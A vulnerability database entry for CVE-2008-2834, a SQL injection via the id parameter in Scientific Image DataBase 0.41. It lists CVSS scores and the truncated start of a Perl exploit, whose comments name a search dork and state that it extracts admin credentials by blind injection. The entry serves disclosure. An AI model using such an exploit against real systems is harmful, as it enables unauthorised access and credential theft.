7.5
CVSSv2

CVE-2008-2834

Published: 24/06/2008 Updated: 29/09/2017
CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10
VMScore: 755
Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

Vulnerability Summary

SQL injection vulnerability in projects.php in Scientific Image DataBase 0.41 allows remote malicious users to execute arbitrary SQL commands via the id parameter.

Vulnerable Product Search on Vulmon Subscribe to Product

sidb scientific image database 0.41

Exploits

#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; # Download: sidbsourceforgenet/ # Dork: "Scientific Image DataBase" # This exploit retrives the admin username/password via blind mysql injection print <<INFO; # heredocs is ugly so is my INFO ;) ------------------------------------- - Scientific Image DataBase < ...